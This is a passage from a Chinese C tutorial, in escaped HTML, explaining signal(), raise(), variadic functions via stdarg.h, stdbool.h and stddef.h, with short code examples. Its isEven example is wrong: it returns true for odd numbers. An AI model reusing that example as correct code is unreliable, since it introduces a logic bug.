handler);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esignal()\u003c/code\u003e接受两个参数,第一个参数是某种信号的宏,第二个参数是处理这个信号的函数指针\u003ccode\u003ehandler\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e信号处理函数\u003ccode\u003ehandler\u003c/code\u003e接受一个 int 类型的参数,表示信号类型。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ehandler\u003c/code\u003e函数体内部可以根据这个整数,判断到底接受到了哪种信号,因为多个信号可以共用同一个处理函数。一旦处理函数执行完成,程序会从信号发生点恢复执行。但是,如果遇到 SIGABRT 信号,处理函数执行完成,系统会让程序中止。\u003c/p\u003e\u003cp\u003e当系统向程序发送信号时,程序可以忽略信号,即不指定处理函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esignal()\u003c/code\u003e的返回值是前一个处理函数的指针,常常把它保存在变量之中,当新的处理函数执行完,再恢复以前的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*orig_handler)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eorig_handler = signal(SIGINT, handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// SIGINT 信号发生之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, orig_handler);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esignal()\u003c/code\u003e为信号\u003ccode\u003eSIGINT\u003c/code\u003e指定了新的处理函数\u003ccode\u003ehandler\u003c/code\u003e,把原来的处理函数保存在变量\u003ccode\u003eorig_handler\u003c/code\u003e里面。等到\u003ccode\u003ehandler\u003c/code\u003e这个函数用过之后,再恢复原来的处理函数。\u003c/p\u003e\u003ch3 id=\"信号相关的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BF%A1%E5%8F%B7%E7%9B%B8%E5%85%B3%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"信号相关的宏\"\u003e\u003c/a\u003e信号相关的宏\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignal.h\u003c/code\u003e还提供了信号相关的宏。\u003c/p\u003e\u003cp\u003e(1)SIG_DFL\u003c/p\u003e\u003cp\u003eSIG_DFL 表示默认的处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, SIG_DFL);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,SIGINT 的处理函数是默认处理函数,由当前实现决定。\u003c/p\u003e\u003cp\u003e(2)SIG_IGN\u003c/p\u003e\u003cp\u003eSIG_IGN 表示忽略该信号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, SIG_IGN);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例表示不对 SIGINT 信号进行处理。由于程序运行时按下 Ctrl + c 是发出 SIGINT 信号,所以使用该语句后,程序无法用 Ctrl + c 终止。\u003c/p\u003e\u003cp\u003e(3)SIG_ERR\u003c/p\u003e\u003cp\u003eSIG_ERR 是信号处理函数发生错误时,\u003ccode\u003esignal()\u003c/code\u003e的返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (signal(SIGINT, handler) == SIG_ERR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;signal(SIGINT, handler) failed\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例可以判断\u003ccode\u003ehandler\u003c/code\u003e处理 SIGINT 时,是否发生错误。\u003c/p\u003e\u003ch3 id=\"raise\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#raise\" class=\"headerlink\" title=\"raise()\"\u003e\u003c/a\u003eraise()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eraise()\u003c/code\u003e函数用来在程序中发出信号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eraise\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个信号值作为参数,表示发出该信号。它的返回值是一个整数,可以用来判断信号发出是否成功,0 表示成功,非 0 表示失败。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ehandler\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e sig)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Handler called for signal %d\\n\u0026#34;\u003c/span\u003e, sig);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignal(SIGINT, handler);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eraise(SIGINT);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eraise()\u003c/code\u003e触发 SIGINT 信号,导致 handler 函数执行。\u003c/p\u003e\u003ch2 id=\"stdarg-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdarg-h\" class=\"headerlink\" title=\"stdarg.h\"\u003e\u003c/a\u003estdarg.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdarg.h\u003c/code\u003e定义于函数的可变参数相关的一些方法。\u003c/p\u003e\u003cul\u003e\u003cli\u003eva_list 类型\u003c/li\u003e\u003cli\u003eva_start()\u003c/li\u003e\u003cli\u003eva_arg():获取当前参数\u003c/li\u003e\u003cli\u003eva_end()。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eva_copy():it makes a copy of your va_list variable in the exact same state.\u003cbr/\u003eva_copy() can be useful if you need to scan ahead through the arguments but need to also remember your current place.\u003c/p\u003e\u003cp\u003e接受可变函数作为参数的一些方法。\u003c/p\u003e\u003cul\u003e\u003cli\u003evprintf()\u003c/li\u003e\u003cli\u003evfprintf()\u003c/li\u003e\u003cli\u003evsprintf()\u003c/li\u003e\u003cli\u003evsnprintf()\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emy_printf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e serial, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// Do my custom work\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The serial number is: %d\\n\u0026#34;\u003c/span\u003e, serial);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// Then pass the rest off to vprintf()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e rv = \u003cspan class=\"built_in\"\u003evprintf\u003c/span\u003e(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rv;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"number\"\u003e3.2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e my_printf(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;x is %d, y is %f\\n\u0026#34;\u003c/span\u003e, x, y);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stdbool-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdbool-h\" class=\"headerlink\" title=\"stdbool.h\"\u003e\u003c/a\u003estdbool.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdbool.h\u003c/code\u003e头文件定义了4个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebool\u003c/code\u003e:定义为\u003ccode\u003e_Bool\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003etrue\u003c/code\u003e:定义为1。\u003c/li\u003e\u003cli\u003e\u003ccode\u003efalse\u003c/code\u003e:定义为0。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__bool_true_false_are_defined\u003c/code\u003e:定义为1。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ebool\u003c/span\u003e \u003cspan class=\"title function_\"\u003eisEven\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e number)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number % \u003cspan class=\"number\"\u003e2\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdbool.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e div;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003ebool\u003c/span\u003e isPrime = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num = \u003cspan class=\"number\"\u003e64457\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (div = \u003cspan class=\"number\"\u003e2\u003c/span\u003e; (div * div) \u0026lt;= num; div++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num % div == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) isPrime = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (isPrime) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu is prime.\\n\u0026#34;\u003c/span\u003e, num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu is not prime.\\n\u0026#34;\u003c/span\u003e, num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stddef-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stddef-h\" class=\"headerlink\" title=\"stddef.h\"\u003e\u003c/a\u003estddef.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estddef.h\u003c/code\u003e提供了常用类型和宏的定义,但没有声明任何函数。\u003c/p\u003e\u003cp\u003e这个头文件定义的类型如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003eptrdiff_t:指针相减运算时,返回结果的数据类型。\u003c/li\u003e\u003cli\u003esize_t:\u003ccode\u003esizeof\u003c/code\u003e运算符返回的类型。\u003c/li\u003e\u003cli\u003ewchar_t:一种足够大、能容纳各种字符的类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e以上三个类型都是整数类型,其中\u003ccode\u003eptrdiff_t\u003c/code\u003e是有符号整数,\u003ccode\u003esize_t\u003c/code\u003e是无符号整数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estddef.h\u003c/code\u003e定义了两个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eNULL:空指针。\u003c/li\u003e\u003cli\u003eoffsetof()\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"offsetof\"\u003e\u003ca 